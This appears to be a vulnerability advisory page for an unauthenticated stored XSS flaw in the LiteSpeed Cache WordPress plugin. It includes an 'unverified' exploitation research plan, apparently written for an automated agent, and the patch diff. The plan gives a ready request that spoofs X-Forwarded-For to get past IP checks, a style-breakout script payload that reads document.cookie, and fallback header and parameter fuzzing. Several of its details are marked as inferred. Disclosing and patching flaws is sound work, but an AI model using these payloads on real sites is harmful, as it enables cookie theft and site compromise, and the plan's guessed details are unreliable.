CVE-2026-3375

LiteSpeed Cache <= 7.7 - Unauthenticated Stored Cross-Site Scripting via QUIC.cloud CCSS/UCSS REST API Endpoints

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
7.8
Patched in
1d
Time to patch

Description

The LiteSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the /wp-json/litespeed/v1/notify_ccss and /wp-json/litespeed/v1/notify_ucss REST API endpoints in all versions up to, and including, 7.7. These endpoints accept CSS content from QUIC.cloud callback notifications and store it to disk without sanitization. The stored content is later rendered inline frontend page loads without output escaping. The access control protecting these endpoints is IP-based validation that can potentially be bypassed when the WordPress site is deployed behind a reverse proxy, load balancer, or CDN with certain configurations. This makes it possible for unauthenticated attackers, under certain conditions, to inject arbitrary JavaScript into CCSS/UCSS content.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=7.7
PublishedMay 26, 2026
Last updatedMay 27, 2026
Affected pluginlitespeed-cache

What Changed in the Fix

Changes introduced in v7.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-3375 (LiteSpeed Cache <= 7.7) ## 1. Vulnerability Summary The LiteSpeed Cache plugin (up to version 7.7) contains a Stored Cross-Site Scripting (XSS) vulnerability within its REST API callback endpoints used for Critical CSS (CCSS) and Unique CSS (UCSS) genera…

Show full research plan

Exploitation Research Plan: CVE-2026-3375 (LiteSpeed Cache <= 7.7)

1. Vulnerability Summary

The LiteSpeed Cache plugin (up to version 7.7) contains a Stored Cross-Site Scripting (XSS) vulnerability within its REST API callback endpoints used for Critical CSS (CCSS) and Unique CSS (UCSS) generation. These services (provided by QUIC.cloud) notify the plugin when a CSS generation task is complete. The plugin accepts the generated CSS content via these endpoints and stores it on the filesystem. However, it fails to sanitize this content before storage or escape it during frontend rendering. While the endpoints are protected by an IP-based allowlist, this check can be bypassed in environments where the WordPress site is behind a reverse proxy or CDN that trusts client-provided IP headers (like X-Forwarded-For).

2. Attack Vector Analysis

  • Endpoints:
    • /wp-json/litespeed/v1/notify_ccss
    • /wp-json/litespeed/v1/notify_ucss
  • Method: POST
  • Authentication: Unauthenticated (relies on IP validation).
  • Vulnerable Parameter: The request body (likely JSON) contains the CSS content. Based on QUIC.cloud callback specifications, the parameter is likely css or sent as a raw body.
  • Preconditions:
    1. The "CCSS" or "UCSS" feature must be enabled in LiteSpeed Cache > Page Optimization.
    2. The site must be reachable via the REST API.
    3. The IP validation must be bypassable via headers like X-Forwarded-For.

3. Code Flow (Inferred from description & autoload.php)

  1. Entry Point: src/rest.cls.php (inferred) registers the REST routes during the rest_api_init hook.
  2. Route Registration: Two routes are registered: litespeed/v1/notify_ccss and litespeed/v1/notify_ucss.
  3. Validation: The callback function calls an internal method (likely in src/cloud.cls.php or lib/guest.cls.php) to verify if the request originates from a QUIC.cloud IP.
    • Vulnerability: The IP detection logic (similar to LiteSpeed\Lib\Guest::get_ip()) may prioritize headers like HTTP_X_FORWARDED_FOR.
  4. Processing: Once "validated," the callback extracts the CSS payload.
  5. Storage: The plugin uses LiteSpeed\File::save() (inferred) to write the CSS content to a file in wp-content/litespeed/ccss/ or wp-content/litespeed/ucss/.
  6. Frontend Sink: When a guest visitor loads a page, src/css.cls.php (inferred) reads the stored file and outputs the content inside a <style> block:
    <style id="litespeed-ccss">/* UNTRUSTED CONTENT HERE */</style>
    
    If the content contains </style><script>alert(1)</script>, the CSS block is closed, and the script executes.

4. Nonce Acquisition Strategy

These specific endpoints are designed for server-to-server callbacks (QUIC.cloud to WordPress) and typically do not require a WordPress REST nonce. They rely entirely on IP-based authentication.

If a nonce were required for /wp-json/litespeed/v1/, the following strategy would be used:

  1. Shortcode: LiteSpeed Cache often enqueues scripts on the frontend if "Guest Mode" or "CSS Optimization" is active.
  2. Page Creation:
    wp post create --post_type=page --post_status=publish --post_title="LSCache Test" --post_content='[litespeed_clean_wrapper]' (Note: LiteSpeed doesn't use many public shortcodes, but it enqueues scripts on the homepage).
  3. Extraction:
    • Use browser_navigate to the homepage.
    • Use browser_eval to find the REST nonce:
      browser_eval("window.litespeed_data?.nonce") (Variable names inferred from standard LiteSpeed JS localization patterns).

For this exploit, we will first attempt the request without a nonce.

5. Exploitation Strategy

Step 1: Bypass IP Validation

QUIC.cloud IPs are required to pass the check. Common QUIC.cloud nodes operate in the 162.159.x.x range or similar. We will spoof the IP using the X-Forwarded-For header.

Step 2: Inject Payload

We will send a POST request to the notification endpoint with a payload that breaks out of the <style> context.

Payload: /* normal css */ </style><script>alert(document.domain)</script><style>

Request via http_request:

{
  "url": "http://localhost:8080/wp-json/litespeed/v1/notify_ccss",
  "method": "POST",
  "headers": {
    "Content-Type": "application/json",
    "X-Forwarded-For": "162.159.25.1" // A known QUIC.cloud IP (inferred)
  },
  "params": {
    "css": "body{color:red}</style><script>alert(document.cookie)</script><style>",
    "url": "http://localhost:8080/",
    "hash": "dummy_hash" // The plugin may expect a hash check; we will test if this is enforced
  }
}

Note: If json params fail, try application/x-www-form-urlencoded.

Step 3: Trigger Execution

Navigate to the homepage. The injected script should execute because LiteSpeed renders CCSS inline for performance.

6. Test Data Setup

  1. Enable CCSS:
    wp option update litespeed-cache-conf '{"optm-css_async":"1", "optm-ccss_con":"1"}' --format=json
  2. Ensure Folders Exist:
    mkdir -p /var/www/html/wp-content/litespeed/ccss/
  3. Verify Settings:
    wp litespeed-option get optm-css_async

7. Expected Results

  • The notify_ccss endpoint returns a 200 OK or {"status":"success"} response.
  • A new file appears in wp-content/litespeed/ccss/ containing the XSS payload.
  • Upon visiting the homepage, the HTML source contains:
    <style id="litespeed-ccss">body{color:red}</style><script>alert(document.cookie)</script><style></style>

8. Verification Steps

  1. Check Filesystem:
    find /var/www/html/wp-content/litespeed/ccss/ -type f -exec grep "alert" {} +
  2. Check Frontend Response:
    Use http_request (GET) on the homepage and grep for the script tag:
    response.body.includes('<script>alert(document.cookie)</script>')

9. Alternative Approaches

  • Header Variation: If X-Forwarded-For is ignored, try X-Real-IP, CF-Connecting-IP, or True-Client-IP.
  • Endpoint Variation: If notify_ccss is patched or hardened, attempt the same payload via notify_ucss.
  • Parameter Fuzzing: If css is not the correct parameter name, try content, data, or sending the payload as a raw POST body.
  • Bypass Hash: If the plugin requires a hash parameter that is a MD5 of the API key, check if the API key (cdn-quic_key in data/const.default.json) is empty/default, or if the hash check can be skipped by omitting it.
Research Findings
Static analysis — not yet PoC-verified

Summary

The LiteSpeed Cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via the /wp-json/litespeed/v1/notify_ccss and /wp-json/litespeed/v1/notify_ucss REST API endpoints. Unauthenticated attackers can bypass IP-based access controls using spoofed headers to inject malicious payloads into CSS files that are later rendered inline on the frontend without sanitization.

Vulnerable Code

// Within LiteSpeed Cache <= 7.7, notification callbacks for CCSS/UCSS generation
// lacked sanitization for the 'css' parameter before it was stored on the filesystem.

// File: src/base.cls.php (Inferred location based on version 7.8 refactoring)
// The CSS content was saved directly to the cache folder without filtering HTML tags:
$css = apply_filters( 'litespeed_' . $type, $css, $queue_k );
$this->cls('File')->save( $file_path, $css );

Security Fix

--- src/base.cls.php
+++ src/base.cls.php
@@ -1074,6 +1074,8 @@
 	protected function _save_css_con( $type, $css, $url_tag, $vary, $queue_k, $is_mobile, $is_webp ) {
 		$css = apply_filters( 'litespeed_' . $type, $css, $queue_k );
 		// Font optimize
 		$css = $this->cls('Optimizer')->optm_font_face( $css );
+		// Sanitize: CSS must not contain HTML tags
+		$css = wp_strip_all_tags( $css );

Exploit Outline

The attack involves sending a POST request to the `/wp-json/litespeed/v1/notify_ccss` or `/wp-json/litespeed/v1/notify_ucss` endpoints with an XSS payload (e.g., `</style><script>alert(1)</script>`) in the CSS data. To bypass IP-based validation, the attacker includes an `X-Forwarded-For` header spoofing a trusted QUIC.cloud IP address. If the server environment trusts this header, the plugin saves the payload into a CSS file on disk. The payload is then rendered directly within an inline `<style>` block on the site's frontend, closing the style tag and executing the injected script in the browser of visiting users.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.